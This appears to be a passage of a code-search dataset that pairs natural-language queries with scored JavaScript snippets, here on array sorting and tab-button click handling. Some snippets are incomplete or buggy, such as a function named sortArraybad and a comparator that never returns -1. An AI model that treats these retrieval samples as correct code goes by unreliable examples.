{\n\n\t\t\t\treturn a.transformationClass - b.transformationClass;\n\n\t\t\t} else {\n\n\t\t\t\treturn a.index - b.index;\n\n\t\t\t}\n\n\t\t} );\n\n\t}", "title": "" }, { "docid": "8a231643c772c2029236304c320dcf2c", "score": "0.62918425", "text": "function bubbleSort(numArray){\n\n for(i=0;i<numArray.length;i++){\n for(j=0;j<numArray.length;j++){\n if(numArray[j+1]<numArray[j]){\n let placeholder = numArray[j];\n numArray[j] = numArray[j+1];\n numArray[j+1]=placeholder;\n }\n }\n }return numArray;\n }", "title": "" }, { "docid": "1bf3a0015c50d73e15cd3a03c50e97ba", "score": "0.62814236", "text": "function sort_arr(a,b)\n{\n if(a==b)\n return 0;\n return a>b?1:0;\n}", "title": "" }, { "docid": "2d4f3e5ae57d40779a4a22a06d70fb94", "score": "0.6280299", "text": "function sortedArray (){\n return sortedArr = maxMinArr.sort((a, b) => a[3] - b[3])\n}", "title": "" }, { "docid": "262c5bcee2abcbf49ea9a46da46f6a52", "score": "0.6276545", "text": "function sortArraybad(arr) {\n var sort = arr[0]\n for (var i = 1; i < arr.length; i++) {\n for (var j = 0; i < sort.length; j++) {\n if (arr[i] > sort[j]) {\n sort.push(arr[i])\n break\n }\n }\n }\n return sort\n}", "title": "" }, { "docid": "3feea51fbacf9587c753ceca69f9a58f", "score": "0.62728065", "text": "function selectionSort(array) {\r\n\tfor (var i = 0; i < array.length; i++) {\r\n\t\tvar min = i\r\n\t\tfor (var j = i+1; j < array.length; j++) {\r\n\t\t\tif (array[j] < array[min]) {\r\n\t\t\t\tmin = j\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (i !== min) {\r\n\t\t\tswap (array, i, min)\r\n\t\t}\r\n\t}\r\n\treturn array\r\n}", "title": "" }, { "docid": "698900263d902b7a2a33cfe2bba7cf00", "score": "0.62693745", "text": "function alphaSort(arg)\n{\n}", "title": "" }, { "docid": "c89b7734664f4b719fe5d0a62e16f03e", "score": "0.6268362", "text": "function sortNumbers (){\n console.log(Object.prototype.toString.call(Array.prototype.slice.call(arguments))); //[object Array]\n return Array.prototype.slice.call(arguments).sort();\n}", "title": "" }, { "docid": "0f42c6829e555eef183ca43911ae5a15", "score": "0.6264984", "text": "function selectionSort(array) {\r\n // change code below this line\r\n//https://www.youtube.com/watch?v=3hH8kTHFw2A\r\nvar minIndex = 0;\r\nvar replaceIndex;\r\nvar minPointer;// = array[minIndex];\r\nvar firstElmUnsortedArray;// = minPointer;\r\nwhile(minIndex!= array.length-1 ){\r\n minPointer = array[minIndex];\r\n firstElmUnsortedArray = minPointer;\r\n for(var i = minIndex+1; i<array.length-1; i++){\r\n if(array[i]<minPointer){\r\n replaceIndex = i;\r\n minPointer = array[i];\r\n }\r\n }console.log(array); \r\n temp = minPointer;\r\n array[replaceIndex] = array[minIndex];\r\n array[minIndex] = temp;\r\n minIndex++;\r\n \r\n}\r\n return array;\r\n // change code above this line\r\n}", "title": "" }, { "docid": "d75bcf9db6091bb04f86b6c9f9e17c69", "score": "0.62629485", "text": "function sortTable(t) {\n let j, s, i;// Seconde Correction\n for (i = 0; i < t.length - 1; i += 1) {\n // Find the index of the minimal value in the unsorted part of\n // the array\n j = findMinIndex(t, i, t.length);\n // Swap the ith minimal value\n s = t[j];\n t[j] = t[i];\n t[i] = s;\n }\n}", "title": "" }, { "docid": "832caef72900a40f915f96b8a086d595", "score": "0.62629306", "text": "function sort(){\n var args = [].slice.call(arguments);\n args.sort();\n return args;\n\n}", "title": "" }, { "docid": "68e02e6bc18e35e6b6eea170ae52be76", "score": "0.6253279", "text": "function shellSortAsc(arrayPosicion) {\n const gap = 1;\n if(arrayPosicion.length < 2){\n return arrayPosicion;\n }\n for(let i=gap ; i<arrayPosicion.length;i++){\n const targetValue = arrayPosicion[i];\n for(var j=i; j>=gap && arrayPosicion[j-gap]>targetValue; j-=gap){\n arrayPosicion[j] = arrayPosicion[j-gap];\n }\n arrayPosicion[j] = targetValue;\n }\n return arrayPosicion;\n}", "title": "" }, { "docid": "62579c165da4a38f1d4fbf07e50e563d", "score": "0.625218", "text": "function sorting(arrNumber) {\n return arrNumber.sort()\n}", "title": "" } ]
a986283b3ca984fb6080eb92066b06ff
init tab button click behavior of tab button
[ { "docid": "28605bb5b49a9d9b125edf82b10e25a5", "score": "0.0", "text": "function _clickButton() {\n\tvar w = Titanium.UI.createWindow({\n\t\theight : 0,\n\t\tbackgroundColor : '#000',\n\t\topacity : 0.9,\n\t\tbottom : 0\n\t});\n\n\t// create window open animation\n\tvar a = Titanium.UI.createAnimation();\n\ta.height = 460;\n\ta.duration = 300;\n\n\t// create a button to close window\n\tvar b = Titanium.UI.createButton({\n\t\ttitle : 'Close',\n\t\theight : 30,\n\t\twidth : 150\n\t});\n\tw.add(b);\n\tb.addEventListener('click', function() {\n\t\ta.height = 0;\n\t\tw.close(a);\n\t});\n\n\tw.open(a);\n}", "title": "" } ]
[ { "docid": "55b0b1a71ae59bc57737f4d961fe7e55", "score": "0.76670986", "text": "function jscoverage_initTabControl() {\n\t$('.tabs a').on('click', function (e) {\n\t\te.preventDefault();\n\t\tjscoverage_tab_click(e);\n\t\t$(this).tab('show');\n\t});\n\n\t// $('.tabs a:not(.disabled):first').trigger('click');\n}", "title": "" }, { "docid": "54b35a4fdd2d630771ad1674f34f2540", "score": "0.7610775", "text": "function initTabs() {\n $('label').click(function (e) {\n e.preventDefault();\n var forEl = $(this).attr('for');\n $('#' + forEl).trigger('click');\n $('.example__content[data-tab=' + forEl + ']').addClass('is-active').siblings().removeClass('is-active');\n });\n }", "title": "" }, { "docid": "c2113497cdc0c31e89e4e5fc63025f74", "score": "0.71504706", "text": "function initTabControl() {\r\n var tabs = document.getElementById('tabs');\r\n var i;\r\n var child;\r\n var tabNum = 0;\r\n for (i = 0; i < tabs.childNodes.length; i++) {\r\n child = tabs.childNodes.item(i);\r\n if (child.nodeType === 1) {\r\n if (child.className !== 'disabled') {\r\n child.onclick = tab_click;\r\n }\r\n tabNum++;\r\n }\r\n }\r\n selectTab(0);\r\n}", "title": "" }, { "docid": "c79f4e381873452619dced9288d766aa", "score": "0.7085836", "text": "clickEventListener (event) {\n var tab = event.target;\n this.activateTab(tab, false);\n }", "title": "" }, { "docid": "fca7805cc681d7d379df0f0b0496f827", "score": "0.7060713", "text": "_loadTabButton() {\n\n for ( let i = 0; i < this._tabButtonList.length; i++ ) {\n\n let tabButton = new TabButton();\n\n tabButton.init( \n this._tabButtonList[ i ], \n this._tabContentList[ i ],\n this._tabContentList,\n this._tabButtonList\n );\n\n }\n }", "title": "" }, { "docid": "3562d3a9a33d023348e4171851f948f7", "score": "0.7000014", "text": "function setupTabs(){\n const content = document.getElementById('content');\n buttons = Array.from(content.getElementsByTagName('button'));\n\n buttons.forEach(button => {\n button.addEventListener(\"click\", changeTab);\n });\n\n loadHome();\n buttons[0].classList.add('button-active');\n}", "title": "" }, { "docid": "03c46e4b89bdfd2355702783da498255", "score": "0.6886506", "text": "function onTabClick() {\n\n if(!loading && !new_patient) {\n\n var target = $(this).attr(\"data-target\");\n\n $(tabs).each(function() {\n\n $(this).removeClass(\"selected\");\n });\n\n $(sections).each(function() {\n\n ($(this).attr(\"data-type\") == target) ? $(this).removeClass(\"hide\") : $(this).addClass(\"hide\");\n })\n\n $(this).addClass(\"selected\");\n }\n }", "title": "" }, { "docid": "5f65297d0ed1ca77b8f6a3cc1bf66617", "score": "0.68607837", "text": "function eventTabsWidgetClick(widgetObject, element, event)\n{\n\tvar tabName = element.id.substring(4);\n\twidgetObject.changeTab(tabName);\n}", "title": "" }, { "docid": "ecdbe753fe541a8f870d64d874cd182d", "score": "0.67863107", "text": "function setupTabs() {\n\tdocument.querySelectorAll('.tabs__button').forEach((button) => {\n\t\tbutton.addEventListener('click', () => {\n\t\t\tconst sideBar = button.parentElement;\n\t\t\tconst tabsContainer = sideBar.parentElement;\n\t\t\tconst tabNumber = button.dataset.forTab;\n\t\t\tconst tabToActivate = tabsContainer.querySelector(`.tabs__content[data-tab=\"${tabNumber}\"]`);\n\n\t\t\tsideBar.querySelectorAll('.tabs__button').forEach((button) => {\n\t\t\t\tbutton.classList.remove('tabs__button--active');\n\t\t\t});\n\n\t\t\ttabsContainer.querySelectorAll('.tabs__content').forEach((tab) => {\n\t\t\t\ttab.classList.remove('tabs__content--active');\n\t\t\t});\n\n\t\t\tbutton.classList.add('tabs__button--active');\n\t\t\ttabToActivate.classList.add('tabs__content--active');\n\t\t});\n\t});\n}", "title": "" }, { "docid": "1298a01df4086cad89528934bfb93cde", "score": "0.6776402", "text": "switchTab(event, tab)\n {\n // remove current active states\n this.uiButtons.find('button.open').removeClass('open');\n this.uiTabs.find('.tab-page.open').removeClass('open');\n\n // set active\n $(event.currentTarget).addClass('open');\n this.uiTabs.find(`.tab-${tab}`).addClass('open');\n }", "title": "" }, { "docid": "972d9a607e58661f000c2d49945bda7b", "score": "0.67756724", "text": "function initTabs() {\n jQuery(\".product-comparison-tabset\").tabset({\n tabLinks: \"a\",\n addToParent: !0,\n defaultTab: !0\n });\n}", "title": "" }, { "docid": "57a7d233bc3cdfb9072922eeb1ee341c", "score": "0.6757678", "text": "_onTabActivateRequested(sender, args) {\n args.title.owner.activate();\n }", "title": "" }, { "docid": "28a368f873ea8757881b169bc8ebf743", "score": "0.67563885", "text": "function initMobileStepTabsSwitcher()\n\t{\n\t\t$mobileTabHeadingsWrappers.on('click', function(){\n\t\t\tswitchStepTabMobile($(this).parent().index());\n\t\t});\n\t}", "title": "" }, { "docid": "94fcfd7533354269573131e4791bf1b3", "score": "0.6749319", "text": "function tab() {\n let triggerTabList = [].slice.call(document.querySelectorAll('#nav-myProfile-tab, #nav-conundrum-tab'))\n triggerTabList.forEach(function (triggerEl) {\n var tabTrigger = new bootstrap.Tab(triggerEl)\n triggerEl.addEventListener('click', function (event) {\n event.preventDefault()\n tabTrigger.show()\n })\n })\n}", "title": "" }, { "docid": "a7df05a4bc5793854a3b23ef6fb61d7c", "score": "0.6749263", "text": "function clickNewModel()\n{\n//\ttab1.isNew = true;\n\ttab1.modelId = null;\n\ttab2.enabled = true;\n\ttab3.enabled = false;\n\ttab4.enabled = false;\n\ttab5.enabled = false;\n\ttab6.enabled = false;\n tab7.enabled = false;\n tab8.enabled = false;\n changeStartTime();\n\tresetCheckedId();\n\tonTabClick(\"btn2\");\n}", "title": "" }, { "docid": "4c78ecf4138953d12c2f0c9d98bb1b0b", "score": "0.6726267", "text": "function ClickTab($tab, $tabid) {\r\r\n\t\t\t\r\r\n\t\t\t// Check active status of the clicked tab\r\r\n\t\t\tif ( ! $($tab).hasClass('tab-active') ) {\r\r\n\t\t\t\t\r\r\n\t\t\t\t// Play Animation Effect\r\r\n\t\t\t\tShowNewTab($tabid);\r\r\n\t\t\t\r\r\n\t\t\t}\r\r\n\t\t\t// End Check Active Status\r\r\n\t\t}", "title": "" }, { "docid": "b496c2bee90f6b6975fd4a07eb2429ff", "score": "0.6716901", "text": "function initTabs(activeClasses,normalClasses){\n let dataTabs = document.querySelectorAll(\"[data-toggle='tab']\");\n const toggleFunction = (event) => {\n event.preventDefault();\n activeClasses = activeClasses ? activeClasses:\"bg-blue-600 text-white\";\n normalClasses = normalClasses ? normalClasses:\"text-blue-600 bg-white\";\n changeAtiveTab(event,activeClasses,normalClasses)\n }\n for (var index = 0; index < dataTabs.length; index++) {\n dataTabs[index].addEventListener(\"click\",toggleFunction);\n }\n}", "title": "" }, { "docid": "31dd3bce7f47b86a44fbf8d44acd3d29", "score": "0.6685472", "text": "function activaTab(tab){\n $('.nav-tabs-chart-selector a[href=\"#' + tab + '\"]').tab('show');\n }", "title": "" }, { "docid": "2b645be3b70e4da478acc14d923d024a", "score": "0.6676761", "text": "function clickEventListener (event) {\n var tab = this;\n activateTab(tab, false);\n}", "title": "" }, { "docid": "a49a8a2e6360527c37bf9b1b0a6b71d6", "score": "0.66667044", "text": "function initMainTab() {\n initPinButtonListeners();\n }", "title": "" }, { "docid": "7c9b8c4de58a3c19692d974b0d2a842a", "score": "0.66461086", "text": "_handleClick(tab, tabHeader, index) {\n if (!tab.disabled) {\n this.selectedIndex = tabHeader.focusIndex = index;\n }\n }", "title": "" }, { "docid": "3743a439129b9e16ce8f0124ab5fadf5", "score": "0.66402507", "text": "function external_tab_on_click(scale_title, resource_type){\n var click_tab = document.getElementsByClassName(scale_title + '_' + resource_type)[0];\n click_tab.onclick = function(){\n deactivate_previous_tab(scale_title);\n click_tab.parentElement.className = 'tabberactive';\n $(resource_type).show();\n };\n}", "title": "" }, { "docid": "b26c98c7661ecbbf36a0e8400c505f24", "score": "0.6625624", "text": "function onClickTab(tab) {\n if (d3.select(\"#tab_\"+tab).classed(\"active\")) { return; }\n active_tab = tab;\n // hide all tab_content\n d3.selectAll(\".tab_content\").style(\"display\", \"none\");\n // show selected tab_content\n d3.select(\"#div_\"+tab).style(\"display\", \"unset\");\n // mark tab as selected\n d3.selectAll(\".tab\").classed(\"active\", false);\n d3.select(\"#tab_\"+tab).classed(\"active\", true);\n drawgraphs();\n}", "title": "" }, { "docid": "033de8bcc5ca720bb90a4686ad4ad0f7", "score": "0.65740347", "text": "function initDetailTabs()\n\t{\n\t\t$detailTabBtns.on('click',function(){\n\t\t\tvar index = $(this).index();\n\n\t\t\tif ( $detailTabContentTabs.eq(index).hasClass('active') ) return false;\n\n\t\t\t$detailTabBtns.not($(this)).removeClass('active');\n\t\t\t$(this).addClass('active');\n\t\t\t$detailTabContentTabs.not($detailTabContentTabs.eq(index)).removeClass('active');\n\t\t\t$detailTabContentTabs.eq(index).addClass('active');\n\t\t});\n\t}", "title": "" }, { "docid": "dad3c983c23f2b90b7a2fbf12488ec8e", "score": "0.6553056", "text": "click(id, event) {\n let tab = this.get(id)\n if (tab == null || tab.disabled || this.last.reordering) return false\n // event before\n let edata = this.trigger('click', { target: id, tab: tab, object: tab, originalEvent: event })\n if (edata.isCancelled === true) return\n // default action\n query(this.box).find('#tabs_'+ this.name +'_tab_'+ w2utils.escapeId(this.active)).removeClass('active')\n query(this.box).find('#tabs_'+ this.name +'_tab_'+ w2utils.escapeId(this.active)).removeClass('active')\n this.active = tab.id\n // route processing\n if (typeof tab.route == 'string') {\n let route = tab.route !== '' ? String('/'+ tab.route).replace(/\\/{2,}/g, '/') : ''\n let info = w2utils.parseRoute(route)\n if (info.keys.length > 0) {\n for (let k = 0; k < info.keys.length; k++) {\n if (this.routeData[info.keys[k].name] == null) continue\n route = route.replace((new RegExp(':'+ info.keys[k].name, 'g')), this.routeData[info.keys[k].name])\n }\n }\n setTimeout(() => { window.location.hash = route }, 1)\n }\n // event after\n edata.finish()\n this.refresh(id)\n }", "title": "" }, { "docid": "b7491fd57185f1353de57d6aeb271f35", "score": "0.65491223", "text": "function createLoadInActiveTabButton(element, url) {\n element\n .button()\n .bind('click', function() {\n loadUrlInActiveTab(url);\n });\n}", "title": "" }, { "docid": "d76e52ec5e81f923d4f2a7c36b1b7e9c", "score": "0.6530763", "text": "function openTabs(e,div) {\n if (e==null) {\n $(div).click();\n }\n else {\n $(\"#monitoredContent\").children().hide();\n $(div).show();\n $(\".tab button\").css(\"background-color\",\"initial\");\n e.currentTarget.style=\"background-color: #ccc;\";\n }\n}", "title": "" }, { "docid": "2fee564ea0bc68e5161a4045f6ce07dc", "score": "0.6507181", "text": "_addClickHandler() {\n var _this = this;\n\n this.$element\n .off('click.zf.tabs')\n .on('click.zf.tabs', `.${this.options.linkClass}`, function(e){\n e.preventDefault();\n e.stopPropagation();\n _this._handleTabChange($(this));\n });\n }", "title": "" }, { "docid": "e8cbfda04f638a56eba7742b2b5b4816", "score": "0.65069264", "text": "function initTabEvents() {\n\n\n function cleanTabNav() {\n var tabLinks = $('#pp-nav-tabs > li > a[data-toggle=\"tab\"]');//document.getElementsByClassName('a-tab-nav');\n for (var i = 0; i < tabLinks.length; i++) {\n var h = tabLinks[i].href.substring(tabLinks[i].href.lastIndexOf('#'));\n if (h.lastIndexOf('?') >= 0) {\n h = h.substring(0, h.lastIndexOf('?'));\n tabLinks[i].setAttribute('href', h);\n }\n }\n\n $('#pp-nav-tabs > li > a[data-toggle=\"tab\"]').on('shown.bs.tab', function (e) {\n\n var id = $(e.target).attr(\"href\").substr(1);\n window.location.hash = id;\n\n var url = $(this).attr(\"data-url\");\n\n if (!hasValue(url)) {\n onTanContentLoaded();\n return;\n }\n\n var target = $(e.target).attr(\"href\"); // activated tab\n\n if ($(target).is(':empty')) {\n\n var pane = $(this);\n // showFormLoader('#tp-author');\n // ajax load from data-url\n $(target).load(url, function () {\n // hideFormLoader();\n pane.tab('show');\n onTanContentLoaded();\n });\n }\n else {\n onTanContentLoaded();\n }\n });\n\n var hash = window.location.hash;\n if (hasValue(hash)) {\n $('#pp-nav-tabs a[href=\"' + hash + '\"]').tab('show');\n }\n }\n\n setTimeout(cleanTabNav, 200);\n\n \n}", "title": "" }, { "docid": "bb9215f915539cad7f5a68fabdf3ae2a", "score": "0.6485848", "text": "function initTestimonialsNav(){\r\n\t\t$('.testi-tabs a').on('click', function(e) {\r\n\t\t\tvar currentAttrValue = $(this).attr('href');\r\n\t \r\n\t\t\t// Show/Hide Tabs\r\n\t\t\t$(currentAttrValue).show().siblings().hide();\r\n\t\t \r\n\t\t\t// Change/remove current tab to active\r\n\t\t\t$(this).parent('li').addClass('active').siblings().removeClass('active');\r\n\t\t \r\n\t\t\te.preventDefault();\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "70ec5b70a3d2676ac7ce4a21dde1506f", "score": "0.6482941", "text": "activateTab(tab, setFocus) {\n setFocus = setFocus || true;\n // Deactivate all other tabs\n this.deactivateTabs();\n\n // Remove tabindex attribute\n tab.removeAttribute('tabindex');\n\n // Set the tab as selected\n tab.classList.add(\"selected\");\n\n // Get the id of the relevant tabpanel\n var controls = tab.getAttribute('id') + '-tab';\n\n // Remove hidden attribute from tab panel to make it visible\n document.getElementById(controls).removeAttribute('hidden');\n\n // Set focus when required\n if (setFocus) {\n tab.focus();\n };\n }", "title": "" }, { "docid": "41b2b7a63b686377f936bcbded3cb649", "score": "0.6442798", "text": "function delegate_to(tab_id)\n {\n menu_tab_id = tab_id;\n browser.browserAction.setPopup({ popup: \"\" });\n browser.browserAction.onClicked.addListener(focus_menu_tab);\n }", "title": "" }, { "docid": "19150cac781ca1c73640f63162380a08", "score": "0.6438534", "text": "applyTabsIA() {\n let $tabButtonItem = $('#tab-button li'),\n $tabSelect = $('#tab-select'),\n $tabContents = $('.tab-contents'),\n activeClass = 'is-active';\n\n $tabButtonItem.first().addClass(activeClass);\n $tabContents.not(':first').hide();\n\n $tabButtonItem.find('a').on('click', function(e) {\n let target = $(this).attr('href');\n $tabButtonItem.removeClass(activeClass);\n $(this).parent().addClass(activeClass);\n $tabSelect.val(target);\n $tabContents.hide();\n $(target).show();\n e.preventDefault();\n });\n\n $tabSelect.on('change', function() {\n let target = $(this).val(), targetSelectNum = $(this).prop('selectedIndex');\n $tabButtonItem.removeClass(activeClass);\n $tabButtonItem.eq(targetSelectNum).addClass(activeClass);\n $tabContents.hide();\n $(target).show();\n });\n }", "title": "" }, { "docid": "29d15f78696da5bd7ada8c729961e5b7", "score": "0.64375097", "text": "function onTabPaneClick(e) {\n e.preventDefault();\n var $target = $(this);\n var idx = $target.index();\n var $parent = $target.parent();\n var $tabs = $parent.find('.js-tab-pane');\n var $slider = $( $parent.data('slider') );\n $tabs.removeClass('js-active');\n $target.addClass('js-active');\n $slider.slick('slickGoTo', idx);\n }", "title": "" }, { "docid": "56326e27fbd0165e212c395eccbeb4b3", "score": "0.64362454", "text": "focusButton($tab) {\n // Wrap in `$nextTick()` to ensure DOM has completed rendering\n this.$nextTick(() => {\n attemptFocus(this.getButtonForTab($tab))\n })\n }", "title": "" }, { "docid": "b9287a9740e0edde6f4e124014c49765", "score": "0.6433088", "text": "function startTab1() {\n document.getElementById(\"default\").click();\n}", "title": "" }, { "docid": "e0a2c97b81e57c959567976bc7c06da4", "score": "0.6431593", "text": "function openTab() {\n tabName = createNewTab();\n createContent(tabName);\n var tab = {id: tabName}\n tabs.push(tab);\n\n // Simular o evento do click clicando na nova aba aberta\n document.querySelectorAll(\"[href='#\" + tabName + \"']\")[0].click();\n}", "title": "" }, { "docid": "79c351582bd161eeafeb96d5fd69e69d", "score": "0.64260685", "text": "clickRunnerTab(){\n this.runnerTab.waitForExist();\n this.runnerTab.click();\n }", "title": "" }, { "docid": "0ca9c5a32cc6c9bf29563332b88fabb2", "score": "0.64182967", "text": "function tabLogic2() {\n $(\".tabs2-content\").hide();\n $(\".tabs2-content:first\").show();\n\n /* if in tab mode */\n $(\"ul.tabs2 li:not('.controls')\").click(function () {\n // console.log(\"clickity\");\n $(\".tabs2-content\").hide();\n var activeTab = $(this).attr(\"data-rel\");\n //console.log(activeTab);\n $(\"#\" + activeTab).fadeIn();\n\n $(\"ul.tabs2 li\").removeClass(\"active\");\n $(this).addClass(\"active\");\n });\n\n}", "title": "" }, { "docid": "820a72259242c59d275a00dae440463c", "score": "0.6416763", "text": "handleTabClick(tab) {\n if (tab !== this.state.currentTab) {\n this.setState({ currentTab: tab });\n }\n }", "title": "" }, { "docid": "7e69d2fe12df5e5f53011c2cf0c41618", "score": "0.64097023", "text": "function setTab(i) {\n\t\t\t//vm.activeTab = i;\n\t\t}", "title": "" }, { "docid": "5b73f5abe5ca86b315caf9e48c7a2fbf", "score": "0.6389402", "text": "function changeTab(e) {\n setTab(e.target.id);\n}", "title": "" }, { "docid": "1c64a5a56afa9a58b42b7c858feba20e", "score": "0.6383928", "text": "function inviteOthers() {\n //specify inviteContacts as tab so it will customize button\n showTab(\"inviteContacts\");\n}", "title": "" }, { "docid": "4926701a2f7af9fd5b2d1a260bb6f3c4", "score": "0.63771415", "text": "function registerComposeButtonEvent() {\n /* just for this demo */\n //$('#composeButton').click(function (e) {\n $('#sideBarMenu li a').click(function (e) {\n var href = $(this).attr('href');\n var index = $(this).index();\n var name = $(this).text();\n e.preventDefault();\n \n\n $li = '<li><a href=\"#' + index + '\" data-toggle=\"tab\"><button class=\"close closeTab\" type=\"button\" >×</button>' + name + '</a></li>';\n $('.nav-tabs').append($li);\n $tabpane = '<div class=\"tab-pane active in\" id=\"' + index + '\"> </div>';\n $('.tab-content').append($tabpane);\n\n craeteNewTabAndLoadUrl(\"\", href, \"#\" + index);\n\n //$(this).tab('show');\n showTab(index);\n registerCloseEvent();\n });\n\n}", "title": "" }, { "docid": "ac0a957454b43ee6cbc3b522008a1a45", "score": "0.6361889", "text": "function initPage() {\n var tabs = document.getElementById(\"tabs\")\n .getElementsByTagName(\"a\");\n for (var i = 0; i < tabs.length; i++) {\n var currentTab = tabs[i];\n currentTab.onmouseover = showHint;\n currentTab.onmouseout = hideHint;\n currentTab.onclick = showTab;\n }\n\n/* For the event mouseover handlers are : showHint, buttonOver */\n/* For the event mouseout handlers are : hideHint, buttonOut */\n var buttons =\n document.getElementById(\"navigation\").getElementsByTagName(\"a\");\n for (var i = 0; i<buttons.length; i++) {\n var currentBtn = buttons[i];\n currentBtn.addEventListener(\"mouseover\", showHint, false);\n currentBtn.addEventListener(\"mouseout\", hideHint, false);\n currentBtn.onclick = showTab;\n currentBtn.addEventListener(\"mouseover\", buttonOver, false); \n currentBtn.addEventListener(\"mouseout\", buttonOut, false);\n }\n}", "title": "" }, { "docid": "e5a5d7a78c232c27e68dff29061c44f1", "score": "0.63583136", "text": "function clickParams()\n{\n\tvar model_id = getModelId();\n //changeStartTime();\n\n\tif ((model_id == null) || (model_id < 0))\n\t\treturn;\n\tif ((tab1.modelId == null) || (tab1.modelId != model_id)) {\n\t tab1.modelId = model_id;\n\t tab1.enabled = false;\n\t tab2.enabled = false;\n\t\t tab3.enabled = true;\n\t tab4.enabled = false;\n\t tab5.enabled = false;\n\t tab6.enabled = false;\n tab7.enabled = false;\n tab8.enabled = false;\n\t\t\n\t\tonTabClick(\"btn3\");\n\n\t\tshowModelName();\n\t\tclearModelParams();\n\t\tloadModelParams('false');\n\t} else {\n\t\ttab2.enabled = false;\n\t\ttab3.enabled = true;\n\t\tonTabClick(\"btn3\");\n\t}\n}", "title": "" }, { "docid": "bdb2b39e8824ac50c2a412654f9a811e", "score": "0.63422304", "text": "updateTab(tab) {\r\n this.setState({ buttonActive: tab });\r\n }", "title": "" }, { "docid": "ea6a32312b1c272d67c5e8cb54d18be1", "score": "0.63353413", "text": "function makeTabs() {\n var chartToggleElems = document.querySelectorAll('.solarchart-tab.button'),\n anchor;\n\n for (var i = 0, max = chartToggleElems.length; i < max; i += 1) {\n anchor = chartToggleElems[i];\n\n anchor.addEventListener('click', handleClick);\n }\n }", "title": "" }, { "docid": "368cf5af6378e28c18b5e0846c1da43e", "score": "0.63278073", "text": "function changeTab(e){\n let targetTab = e.target.id;\n loadTab(targetTab);\n}", "title": "" }, { "docid": "8fdb6ac62efc5c3926912de32a38c663", "score": "0.63255113", "text": "function openTab(evt, tabCorI) {\n // Declare all variables\n var i, tabcontent, tablinks;\n\n // Get all elements with class=\"tabcontent\" and hide them\n tabcontent = document.getElementsByClassName(\"tabcontent\");\n for (i = 0; i < tabcontent.length; i++) {\n tabcontent[i].style.display = \"none\";\n }\n\n // Get all elements with class=\"tablinks\" and remove the class \"active\"\n tablinks = document.getElementsByClassName(\"tablinks\");\n for (i = 0; i < tablinks.length; i++) {\n tablinks[i].className = tablinks[i].className.replace(\" active\", \"\");\n }\n\n // Show the current tab, and add an \"active\" class to the button that opened the tab\n document.getElementById(tabCorI).style.display = \"block\";\n evt.currentTarget.className += \" active\";\n}", "title": "" }, { "docid": "4109eb8a3d6ab31d1e05f776736ffd10", "score": "0.6323941", "text": "activateTab (tab, setFocus) {\n if(tab.getAttribute(\"role\") !== \"tab\") {\n tab = tab.closest('[role=\"tab\"]');\n }\n\n setFocus = setFocus || true;\n\n // Deactivate all other tabs\n this.deactivateTabs();\n\n // Remove tabindex attribute\n tab.removeAttribute('tabindex');\n\n // Set the tab as selected\n tab.setAttribute('aria-selected', 'true');\n\n // Get the value of aria-controls (which is an ID)\n var controls = tab.getAttribute('aria-controls');\n\n // Remove hidden attribute from tab panel to make it visible\n document.getElementById(controls).removeAttribute('hidden');\n\n // Set focus when required\n if (setFocus) {\n tab.focus();\n }\n }", "title": "" }, { "docid": "15f82f5e9435ee4ab827776ddf433ec8", "score": "0.63228154", "text": "function tabLogic3() {\n $(\".carousel-content\").hide();\n $(\".carousel-content:first\").show();\n $(\"ul.tabs3 li:first\").addClass(\"active\");\n\n /* if in tab mode */\n $(\"ul.tabs3 li\").click(function () {\n // console.log(\"clickity\");\n $(\".carousel-content\").hide();\n var activeTab = $(this).attr(\"data-rel\");\n //console.log(activeTab);\n $(\"#\" + activeTab).fadeIn();\n\n $(\"ul.tabs3 li\").removeClass(\"active\");\n $(this).addClass(\"active\");\n });\n\n}", "title": "" }, { "docid": "09383396e5b978bec5b4284b4c835324", "score": "0.6322154", "text": "function initializePageAction(tab) {\n if (protocolIsApplicable(tab.url) && hostIsApplicable(tab.url)) {\n browser.pageAction.setIcon({tabId: tab.id, path: \"icons/off.svg\"});\n browser.pageAction.setTitle({tabId: tab.id, title: TITLE_ENABLE});\n browser.pageAction.show(tab.id);\n }\n}", "title": "" }, { "docid": "8f6999709bd6b10d2af9906b4124a3f6", "score": "0.6303282", "text": "clickOverviewTab(){\n this.overviewTab.waitForExist();\n this.overviewTab.click();\n }", "title": "" }, { "docid": "88798294ec60d0ff38398f1a7f1c9c0c", "score": "0.6303003", "text": "function openTab(evt, tabName) {\n // Declare all variables\n var i, tabcontent, tablinks;\n // Get all elements with class=\"tabcontent\" and hide them\n tabcontent = document.getElementsByClassName(\"tabcontent\");\n for (i = 0; i < tabcontent.length; i++) {\n tabcontent[i].style.display = \"none\";\n }\n\n // Get all elements with class=\"tablinks\" and remove the class \"active\"\n tablinks = document.getElementsByClassName(\"tablinks\");\n for (i = 0; i < tablinks.length; i++) {\n tablinks[i].className = tablinks[i].className.replace(\" active\", \"\");\n }\n // Show the current tab, and add an \"active\" class to the button that opened the tab\n document.getElementById(tabName).style.display = \"block\";\n evt.currentTarget.className += \" active\";\n\n //if Tab is not by default, call the appropriate tab\n if(tabName===\"schedule\")\n displayByDay(\"26 April\");\n if(tabName===\"Speakers\")\n displaySpeakers();\n }", "title": "" }, { "docid": "be5c47b0b5d2fb888a123728e59166f2", "score": "0.6299225", "text": "function changeTab (tab) {\n $scope.tabName = tab.name;\n tab.active = true;\n if (tab.name === 'filter') {\n getFilter();\n }\n // Hide delete tab if user move from it and selected rows are more than one\n if (tab.name !== 'delete' && appInfo.rowsData.length > 1) {\n $rootScope.$emit('resetRows', appInfo.table.tablename);\n }\n if (tab.name === 'delete') {\n loadDeleteTemplate();\n $rootScope.$emit('enableMultiselect', true, appInfo.table.tablename);\n } else {\n $rootScope.$emit('enableMultiselect', false, appInfo.table.tablename);\n }\n }", "title": "" }, { "docid": "1dd74741b340c851320256117d332b14", "score": "0.62985176", "text": "function jscoverage_selectTab(tab) {\n\t$(tab).tab('show');\n}", "title": "" }, { "docid": "5a8fabb9daf92f4a25f24f387da7ead4", "score": "0.6282171", "text": "function onTabChange(i) {\n\t\tsetCurrentTab(i)\n\t}", "title": "" }, { "docid": "b23d0af1f93869ae651c074dcfca9523", "score": "0.6281144", "text": "function tabsInit() {\n\tvar $tabs = $('.js-controller');\n\n\tif ($tabs) {\n\n\t\t$tabs.responsiveTabs({\n\t\t\tactive: 0,\n\t\t\trotate: false,\n\t\t\tstartCollapsed: 'accordion',\n\t\t\tcollapsible: 'accordion',\n\t\t\tsetHash: false,\n\t\t\tanimation: 'fade', // 